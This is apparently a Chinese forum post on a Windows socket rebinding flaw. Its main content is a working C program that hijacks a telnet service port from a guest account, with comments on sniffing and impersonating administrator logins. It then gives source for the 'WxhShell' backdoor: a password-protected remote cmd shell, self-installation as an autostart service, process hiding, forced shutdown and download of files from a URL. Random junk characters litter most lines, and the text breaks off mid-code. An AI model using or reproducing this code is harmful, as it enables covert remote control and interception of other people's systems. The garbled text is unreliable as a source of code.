在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
{0WLY@7 2? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
H1N_ hs}nI/# saddr.sin_family = AF_INET;
SWvy<f4< ]7}2"?J4v saddr.sin_addr.s_addr = htonl(INADDR_ANY);
]xBQ7Xqf| &Y;z[+(P bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
r in#lu&N &]iX>m. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!n~p?joJ* 'KMyaEh.u 这意味着什么?意味着可以进行如下的攻击:
-)(HG)3 uli,@5%\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
|XzqP +t u~=>$oT't 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
,~`R{,N` g!(j.xe 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ZMQSy7 DJr{;t$7~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
LGGC=;{} !U>711$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@5K/z<p% /PN[g~3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
UbE*x2N <ppM\$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
BY.'0,H=k
#lRkp.e #include
)=V0 #include
%,Xs[[?i #include
7 [N1Vr(1 #include
OWT5Bjl DWORD WINAPI ClientThread(LPVOID lpParam);
3#}5dO int main()
?u{y[pI6 {
cd)yj&:?Bt WORD wVersionRequested;
%Ak"d+OH4 DWORD ret;
X!V@jo9? WSADATA wsaData;
/xj^TyWM BOOL val;
SsiAyQ|Ma SOCKADDR_IN saddr;
Z6\OkD SOCKADDR_IN scaddr;
(dv Cejc^p int err;
vG`R. SOCKET s;
_ #288`bU SOCKET sc;
.YKqYN?y4 int caddsize;
C
vfm ,BL HANDLE mt;
w?|gJ*B" DWORD tid;
WDNuR#J? wVersionRequested = MAKEWORD( 2, 2 );
=t\HtAXn[ err = WSAStartup( wVersionRequested, &wsaData );
@2cGx/1# if ( err != 0 ) {
w0(A7L:L printf("error!WSAStartup failed!\n");
xH#R_ return -1;
9IZ}}x }
UmZ#Cm saddr.sin_family = AF_INET;
pwU
l&hwte fx2r\ usX[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:
&>PN,q> zBV7b| j saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,E2Tw-% saddr.sin_port = htons(23);
ORHs1/L`j if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
yPL1(i; {
DS0c0lsx printf("error!socket failed!\n");
JJ[.K*dO return -1;
Z;`ts/?SY] }
eD5.*O val = TRUE;
{0
d/; //SO_REUSEADDR选项就是可以实现端口重绑定的
&[ejxK" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2'UWPZgE {
Rqu_[M printf("error!setsockopt failed!\n");
('QfB<4H1 return -1;
s ki'I }
J@ZIW%5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
60(j[d-$p //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6O uB}* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
E-\Wo3 ]E$h7I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
b7 %Z~ {
{3cT\u ret=GetLastError();
yU]NgG=z:- printf("error!bind failed!\n");
O
N..B}J return -1;
C&?Z\$
-/ }
IIcG+zwx listen(s,2);
Gv?3T Am8 while(1)
wxU@M1w} {
1S
.~Vh0Q, caddsize = sizeof(scaddr);
yXyL,R //接受连接请求
Wv!#B$J~U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
q9 !)YP+w if(sc!=INVALID_SOCKET)
w ;+x g {
1'ts>6b mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+Q pgG4h if(mt==NULL)
t[/WGF&(R {
1 ~fD: printf("Thread Creat Failed!\n");
y}Ji( q~ break;
1h_TG.YL9> }
IJ >qs8 }
nKpXRuFn\ CloseHandle(mt);
foO/Yc }
L|O[u^ closesocket(s);
x{y}pH "H WSACleanup();
}Fs;sfH return 0;
EY'kIVk }
lr[U6CJY DWORD WINAPI ClientThread(LPVOID lpParam)
H8@1Kt {
x-J.*X/aB SOCKET ss = (SOCKET)lpParam;
{}>s0B SOCKET sc;
i [,9hp unsigned char buf[4096];
5Us$.p SOCKADDR_IN saddr;
_D<=Yo long num;
4h% G %>j DWORD val;
|hHj7X<?k DWORD ret;
!7)` g i //如果是隐藏端口应用的话,可以在此处加一些判断
!C ]5_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
R]L$Ld< ij saddr.sin_family = AF_INET;
=
cQK^$6( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
uW4)DT9[5 saddr.sin_port = htons(23);
,i0Dw"/u if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
PX!$w*q {
gt]k#(S printf("error!socket failed!\n");
ZbBz@1O return -1;
cP8g.+ }
Xm#rkF[, val = 100;
'YKyY:eZ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
BJA&{DMHm {
[{R^!Az&b< ret = GetLastError();
*nZe|)m return -1;
Wgp}v93 }
\piB*"ln if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<K6gzi0fl {
8<0~j ret = GetLastError();
F_C7S return -1;
I$yFCd Xr }
haTmfh_| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#GoZH?MAF {
s0EF{2<F printf("error!socket connect failed!\n");
OGA_3|[S closesocket(sc);
@-B)a Z closesocket(ss);
al#BfcZW return -1;
=17d7#- }
0<ze'FbV] while(1)
K+WbxovXU {
w8(8n&5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
jg)+]r/hS //如果是嗅探内容的话,可以再此处进行内容分析和记录
3:H[S_q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S=f:-?N| num = recv(ss,buf,4096,0);
r1pj-
if(num>0)
{Sl#z}@s send(sc,buf,num,0);
,Q%q!#@
else if(num==0)
z?Hi
u6c- break;
$G UCVxs num = recv(sc,buf,4096,0);
+)J;4B if(num>0)
19#s:nt9 send(ss,buf,num,0);
.{\lbI else if(num==0)
nr*nX break;
ORCG(N }
3haR/YN closesocket(ss);
)~>
C1< closesocket(sc);
d2~*fHx_! return 0 ;
%?sPKOh3N} }
q7#4e?1 g]$e-X@k +mu.W
r ==========================================================
| XGj97#M S1vUP5cZ 下边附上一个代码,,WXhSHELL
-e2f8PV?3 5I`_SOa! ==========================================================
Yo-$Z-ud PH1jN?OEwZ #include "stdafx.h"
]?un'$%e >IT19(J;A #include <stdio.h>
UR{OrNg* #include <string.h>
6x*$/1'M3; #include <windows.h>
a62'\wF>D #include <winsock2.h>
w%2|Po5 #include <winsvc.h>
l b9O #include <urlmon.h>
6?`3zdOeO ow<z @^ 3' #pragma comment (lib, "Ws2_32.lib")
\Bvy~UeE)> #pragma comment (lib, "urlmon.lib")
$wm.,Vb
##QKXSD #define MAX_USER 100 // 最大客户端连接数
.EfGL_ #define BUF_SOCK 200 // sock buffer
<V
b
SEi #define KEY_BUFF 255 // 输入 buffer
S%Bm4jY ;t xW\iy%Z #define REBOOT 0 // 重启
y$,j'B:;4m #define SHUTDOWN 1 // 关机
"AuU5G 9'I C#l9MxZE #define DEF_PORT 5000 // 监听端口
)a=FhSB[G 4 (>8tP\Y #define REG_LEN 16 // 注册表键长度
xRrKrs &eE #define SVC_LEN 80 // NT服务名长度
^D]y<@01 V\m51H1mqo // 从dll定义API
[QZ8M@Gty# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
p=T6Ix'_2e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
l0&U7gr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
-)pVgf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
G<m6Sf ~a ]R7X7 // wxhshell配置信息
D:56>%y@ struct WSCFG {
M> rertUR int ws_port; // 监听端口
aYmN'
POi char ws_passstr[REG_LEN]; // 口令
)e?6 Ncy int ws_autoins; // 安装标记, 1=yes 0=no
L?&Trq7i char ws_regname[REG_LEN]; // 注册表键名
dfR?O#JPU char ws_svcname[REG_LEN]; // 服务名
P3_&( char ws_svcdisp[SVC_LEN]; // 服务显示名
@-% .+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
e_h`x+\: char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+\GuZ5` int ws_downexe; // 下载执行标记, 1=yes 0=no
']^_W0?= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
.t9*wz char ws_filenam[SVC_LEN]; // 下载后保存的文件名
TjWMdoU$J +01bjM6F_1 };
knABlU %7SGQE#W_~ // default Wxhshell configuration
s $?u'}G3 struct WSCFG wscfg={DEF_PORT,
)J(@e4;Rv "xuhuanlingzhe",
Y![//tg 1,
$.Qu55=z< "Wxhshell",
~E3"s "Wxhshell",
A4IPd "WxhShell Service",
@~j--L "Wrsky Windows CmdShell Service",
o%3VE8- "Please Input Your Password: ",
j\%m6\{n| 1,
=|O><O| "
http://www.wrsky.com/wxhshell.exe",
"tUc "Wxhshell.exe"
"o>` Y };
y"nL9r.,: ,0^9VWZV // 消息定义模块
5cZKk/"Ad} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
KKGwMJku} char *msg_ws_prompt="\n\r? for help\n\r#>";
|n~Vpy char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
K-6+fgeB char *msg_ws_ext="\n\rExit.";
lj+}5ySG/ char *msg_ws_end="\n\rQuit.";
*<l9d char *msg_ws_boot="\n\rReboot...";
#(dERET* char *msg_ws_poff="\n\rShutdown...";
F m$;p6&j char *msg_ws_down="\n\rSave to ";
^!x}e+ o c]3^2Ag, char *msg_ws_err="\n\rErr!";
|>Wi5h{6X char *msg_ws_ok="\n\rOK!";
Y6ORI M^?=!!US^ char ExeFile[MAX_PATH];
8
huB<^ int nUser = 0;
v>'mW HANDLE handles[MAX_USER];
Y^ti;: int OsIsNt;
-FW'i10\2+ .{Df"e> SERVICE_STATUS serviceStatus;
>vk?wY^f SERVICE_STATUS_HANDLE hServiceStatusHandle;
9 Xx4,#? S+M:{<AR // 函数声明
n||!/u)* int Install(void);
QMBV"E_aY int Uninstall(void);
3@^b's'S|} int DownloadFile(char *sURL, SOCKET wsh);
!k0t
(. int Boot(int flag);
L~} 2&w void HideProc(void);
X0zE-h6P int GetOsVer(void);
mqv!"rk'w int Wxhshell(SOCKET wsl);
L}.V`v{zc void TalkWithClient(void *cs);
xO XCCf/ int CmdShell(SOCKET sock);
!Z`xwk"! int StartFromService(void);
`^1&Qz> int StartWxhshell(LPSTR lpCmdLine);
tX.{+yyU 3I.0uLjg^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
d+Bz
pS@p VOID WINAPI NTServiceHandler( DWORD fdwControl );
d$*SVd: }RY&f4&GV, // 数据结构和表定义
-E>se8 %" SERVICE_TABLE_ENTRY DispatchTable[] =
!e(ZEV g {
#Cz6c%yK {wscfg.ws_svcname, NTServiceMain},
ey3;rY1 {NULL, NULL}
hXM2B2[ };
MESPfS+ aShZdeC*f // 自我安装
i4*!t.eI int Install(void)
o]@g%_3X {
m8ydX6~max char svExeFile[MAX_PATH];
lITZ|u HKEY key;
]Zz<9zix strcpy(svExeFile,ExeFile);
*|Fl&`2 Or[uq,Dm16 // 如果是win9x系统,修改注册表设为自启动
+6v;(] y if(!OsIsNt) {
ne\N1`AU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y$7@ ~NH,d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rXR}]|;> RegCloseKey(key);
vy+9Q5@W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j])nkm7_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
iWNTI RegCloseKey(key);
)QiHe} return 0;
C},$(2>0+ }
`L<)9* }
ofA6EmQ37 }
3kBpH7h4 else {
w_
po47S4 3((53@s98 // 如果是NT以上系统,安装为系统服务
Y)X58_En SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_*w}"\4_ if (schSCManager!=0)
4D\+_Ic3 {
j']Q-s(s SC_HANDLE schService = CreateService
P$|DiiH (
%C8fv|@:f schSCManager,
k^PqB+P! wscfg.ws_svcname,
(B zf~#]~ wscfg.ws_svcdisp,
YErn50L SERVICE_ALL_ACCESS,
7F{=bL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
WsCzC_'j. SERVICE_AUTO_START,
^2PQ75V@. SERVICE_ERROR_NORMAL,
lC|{{?m svExeFile,
+/Lf4??JV NULL,
fKY1=3 NULL,
~-w NULL,
<#9zc'ED: NULL,
/@bLc1" NULL
K!9rH>`\ );
y'k4>,`9e if (schService!=0)
C4P7, {
/fM6%V=Y CloseServiceHandle(schService);
jdY v*/^ CloseServiceHandle(schSCManager);
|k4ZTr]? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
q61
rNOw_ strcat(svExeFile,wscfg.ws_svcname);
=w.#j-jR if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
g loo].z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
h;KI2k_^ RegCloseKey(key);
{&c%VVZb:Z return 0;
~;;_POm }
1% )M-io }
/z4xq'< CloseServiceHandle(schSCManager);
xIo7f }
VrokEK*qbY }
}m<)$.x|P Eu
)7@ return 1;
XjwTjgL< }
`<>8tZS9" A{E0 a:v // 自我卸载
Y4Z?`TL int Uninstall(void)
Xklp6{VH9 {
NwG&uc+Q HKEY key;
9CWUhS
o+O\VNW if(!OsIsNt) {
>~$ S! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.6E7 R RegDeleteValue(key,wscfg.ws_regname);
AMYoSc RegCloseKey(key);
#U&G$E`7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
t@/r1u|iq RegDeleteValue(key,wscfg.ws_regname);
*0R=(Gy RegCloseKey(key);
t
MB;GIb# return 0;
cuR|cUK }
&T}v1c7) }
U<r<$K }
&fj&UBA else {
Y#6@0Nn[G ^ D
B0C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;<q@>p[ if (schSCManager!=0)
/:e|B;P`k {
.#h]_% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
|U^
ff^] if (schService!=0)
2uWzcy ?F {
5Kv=;o=U if(DeleteService(schService)!=0) {
wrn[q{dX CloseServiceHandle(schService);
:7Vm]xd}do CloseServiceHandle(schSCManager);
4:<0i0)5 return 0;
2.&v{gq }
l:HO|Mq CloseServiceHandle(schService);
|<ke>j/6n }
W{;!JI7;z CloseServiceHandle(schSCManager);
r+0)l:{. }
oqDW}>. }
%e%nsj6 JZL!(>tI return 1;
@;<w"j`r }
]jHB'Y ~.x!st} // 从指定url下载文件
]hvB-R16f int DownloadFile(char *sURL, SOCKET wsh)
+n MgQOs {
#K*d:W3C HRESULT hr;
+d6E)~qKL char seps[]= "/";
rP`\<}a. char *token;
u>S&?X'a char *file;
]NAPvw#p char myURL[MAX_PATH];
GN1cnM>` char myFILE[MAX_PATH];
C
[2tH2*# wOi>i`D& strcpy(myURL,sURL);
5[gkGKkf_ token=strtok(myURL,seps);
?o.G@- while(token!=NULL)
=,@SZsM*B {
jQ`"Op 3 file=token;
%q*U[vv token=strtok(NULL,seps);
nLtP^
1~9H }
cR5<.$aY KH
KqE6 GetCurrentDirectory(MAX_PATH,myFILE);
&`TX4b^/! strcat(myFILE, "\\");
=_yOX=g| strcat(myFILE, file);
N%B#f\N send(wsh,myFILE,strlen(myFILE),0);
8:&@MZQ&! send(wsh,"...",3,0);
TVFGonVY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
%okEN!= if(hr==S_OK)
sa#"@j) return 0;
NOS5bm&- else
@ ~sp:l return 1;
6PMu;# y
ph }
5e2mEQU> [
objdQU` // 系统电源模块
^5T{x>Lj int Boot(int flag)
e2*^;&|% {
C6P6 hJm HANDLE hToken;
[U jbox TOKEN_PRIVILEGES tkp;
|\_O8=B% 7>ODaj
if(OsIsNt) {
;c>Yr?^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
kcYR:;y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
M}5 C;E* tkp.PrivilegeCount = 1;
gN]`$==c[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
MW$9,[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)@Zel.XD if(flag==REBOOT) {
_>`0!mG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
yQx>h6 return 0;
;:!LAe
}
2hpx%H else {
u\E.H5u27 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
1Xs!ew)> return 0;
U50X`J }
df:,5@CJ8 }
uyA9`~p=# else {
#* Hhe> if(flag==REBOOT) {
gvU6p[ D if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
fzKKK+ return 0;
YT:1=Nf} }
c"z%AzUV' else {
~*[}O)7# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
NPc%}V&C(u return 0;
pj )I4C) }
|(V%(_s }
=_1" d$S& ld?M,Qd return 1;
*m"mt }
k
Z3tz?Du zyR pHM$E // win9x进程隐藏模块
aH$~':[93 void HideProc(void)
?SAi tQ3 {
fBF}-{VX( vK{K#{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"_l[4o[D if ( hKernel != NULL )
H{XW?O^@ {
<h}?0NA4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5[R}MhLZ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
TB[vpTC9) FreeLibrary(hKernel);
E7<:>Uh }
`Q8 D[ Z
kS*CG return;
Kq?7#,_ }
.Sn1YAhE f65Sr"qB3 // 获取操作系统版本
VO`A int GetOsVer(void)
) )F.|w {
O>Sbb2q?" OSVERSIONINFO winfo;
QCo^#- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
gvJJ.IX]+ GetVersionEx(&winfo);
6:!fyia if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ZJpI]^9| return 1;
lV
9q;!/1 else
CL*%06QyE return 0;
'!I?C/49k }
at*=#?M1? xpxm9ySwu // 客户端句柄模块
4
5lg&oO int Wxhshell(SOCKET wsl)
9VByFQgM {
:1=?/8h SOCKET wsh;
CQ`(,F3( struct sockaddr_in client;
J53;w:O DWORD myID;
~V&ReW/ XJ\q!{;h while(nUser<MAX_USER)
5Z[D(z {
J$Q-1fjj int nSize=sizeof(client);
E)P1`X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
uM}O8N if(wsh==INVALID_SOCKET) return 1;
H6O\U2+ zaZ}:N/w(z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@}gdOaw if(handles[nUser]==0)
fUXp)0O closesocket(wsh);
GN<I|mGLJK else
8zCAy@u nUser++;
3KKe4{oG }
T42g4j/l~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
LTe7f8A w(j9[ return 0;
=I(s7=Liu }
0- UeFy {P-PH$ E- // 关闭 socket
a)1,/:7' void CloseIt(SOCKET wsh)
b {5|2&= {
r2th6hl~ closesocket(wsh);
Lk9>7xY nUser--;
b{rmxtx ExitThread(0);
RtL<hD }
6`C27 O5Lv:qAa // 客户端请求句柄
;]Aa void TalkWithClient(void *cs)
YiTp-@$} {
t}7wRTG m}9V@@ SOCKET wsh=(SOCKET)cs;
v#|c.<]. char pwd[SVC_LEN];
z aF0nov char cmd[KEY_BUFF];
}WbN) char chr[1];
OK\%cq/U int i,j;
XV>6;!=E 4m*(D5Y=| while (nUser < MAX_USER) {
$<4Ar*i DBUwf1=qj if(wscfg.ws_passstr) {
mz*z1`\7v\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X$9QW3.M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~@8d[Tb //ZeroMemory(pwd,KEY_BUFF);
Yg[IEy i=0;
S nHAY< while(i<SVC_LEN) {
l5[xJH !r*;R\!n2 // 设置超时
fn OkH fd_set FdRead;
=!^iiHF struct timeval TimeOut;
3ms/v:\ FD_ZERO(&FdRead);
CD_f[u FD_SET(wsh,&FdRead);
\z9?rvT: TimeOut.tv_sec=8;
X{}#hyYk" TimeOut.tv_usec=0;
4E>(Y98 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_,FoXf7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~8(X@~Tn* nY9qYFw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Nr9[Vz?$P pwd
=chr[0]; gKN_~{{OD
if(chr[0]==0xd || chr[0]==0xa) { b3xkJ&Z
pwd=0; j/D)UWkR
break; 8>Z$/1Mh
} EcoUpiL%2
i++; _}@n_E
} ?(q*U!=
rx>Tc#g
// 如果是非法用户,关闭 socket 49oW 'j
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2^6TrZA7M6
} (QSWb>np
?d<:V.1U@
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GB?#1|,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @$d\5Q(G
i\;&CzC:
while(1) { `E=rh3 L0o
cqY.^f.
ZeroMemory(cmd,KEY_BUFF); xm|4\H&Bg
yH%+cmp7
// 自动支持客户端 telnet标准 lE)rRG+JLW
j=0; ]HV~xD7\
while(j<KEY_BUFF) { eCIRt/ uA
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); npcBpGL{
cmd[j]=chr[0]; D?}m
h1#
if(chr[0]==0xa || chr[0]==0xd) { yvWzc
uL#
cmd[j]=0; 0DB<hpC:5
break; 9]@J*A}=l
} I"sobZ`
j++; W}k?gg=
} ] ZGvRA&
0ITA3v8{
// 下载文件 E#$_uZ4
if(strstr(cmd,"http://")) { pq?[ wp"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); n,jE#Z.D
if(DownloadFile(cmd,wsh)) ./nYXREO|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); udD*E~1q
else ~hz@9E]O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7e4tUAiuU
} SKSAriS~
else { A
Ok7G?Y
h0GdFWN
switch(cmd[0]) { 92aDHECo
4 uy @ {
// 帮助 9Ir~X|}\iL
case '?': { y-<PsP-I
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B:- KZuO
break; |369@un6
} O\?5#.
// 安装 vQYfoam;
case 'i': { _`@Xy!Ye
if(Install()) +z(,A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m0A@jWgd
else B#GZmv1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !qXq
y}?w
break; GQ-e$D@SfB
} 0|s$vqc
// 卸载 udEb/7ZL
case 'r': { Fm$n@RbX
if(Uninstall()) L2>?m`wp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VIz{}_~'s
else =!S@tuY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bOxjm`B<
break; W_BAb+$aF
} (#-=y~%
// 显示 wxhshell 所在路径 eW"x%|/Q7
case 'p': { D;^ZWz0
char svExeFile[MAX_PATH]; vQBY1-S
strcpy(svExeFile,"\n\r"); 2>MP:yY;K
strcat(svExeFile,ExeFile); Eo {1y
send(wsh,svExeFile,strlen(svExeFile),0);
Z;Ir>^<
break; +<!)k?
} p*AP 'cR
// 重启 7o965h
case 'b': { @8M'<tr<z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |P. =
if(Boot(REBOOT)) n$hqNsM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +%e%UF@
else { (ciGLfNG
closesocket(wsh); K^,&ub.L)
ExitThread(0); cu479VzPx:
} Ql#W
/x,e
break; 1(:b{Bl
} uD ?I>7
// 关机 (iCZz{l@~
case 'd': { Nn,vdu{^2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SA`J.4yn
if(Boot(SHUTDOWN)) } `>J6y9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,WO%L~db
else { t7*G91Hoq&
closesocket(wsh); $dx1[V+_
ExitThread(0); 6zp@#vYI
} 6"7:44O;G
break; (!_X:+0_
} zfP[1
// 获取shell 4uO
@`0:x
case 's': { 2[8fFo>
CmdShell(wsh); %/tGkS6
closesocket(wsh); w>z8c3Dq}
ExitThread(0); x;ERRK
break; Lem\UD$D`
} (:&&;]sI
// 退出 X|-v0 f
case 'x': { (5Z8zNH`3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >tmnj/=&
CloseIt(wsh); S<y>Y
break; I5TQ>WJbf
} u:AfHZ
// 离开 .fLiX x
case 'q': { vy{rwZ$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]|C_`,ux
closesocket(wsh); 1*! c
X
WSACleanup(); dr,B\.|jC
exit(1); D% v:PYf
break; B
c,"12
} fw1;i
} uS:
A4tN
} ?;:9
W
8(vC jL
// 提示信息 7GBZA=J
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b[{m>Fa+o#
} 4hsPbUx9
} /@9-!cL
;I!+lx3[
return; R
(tiIo
} OQytgXED
Edf=?K+\!i
// shell模块句柄 g33<qYxP
int CmdShell(SOCKET sock) 4DQ07w
{ bK_0NrXP
STARTUPINFO si; 9D{u,Q V
ZeroMemory(&si,sizeof(si)); l#2r.q^$|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7X9+Qj;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $I)Tk`=
PROCESS_INFORMATION ProcessInfo; V!pq,!C$v
char cmdline[]="cmd"; 8Z9MD<RLw
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~h>rskJ_
return 0; m6bWmGnGC
} h"VpQhi
dAYI D E
// 自身启动模式 Dh\S`nfFq
int StartFromService(void) b[J-ja.
{ Eonq'Re$
typedef struct %K&+~CJE
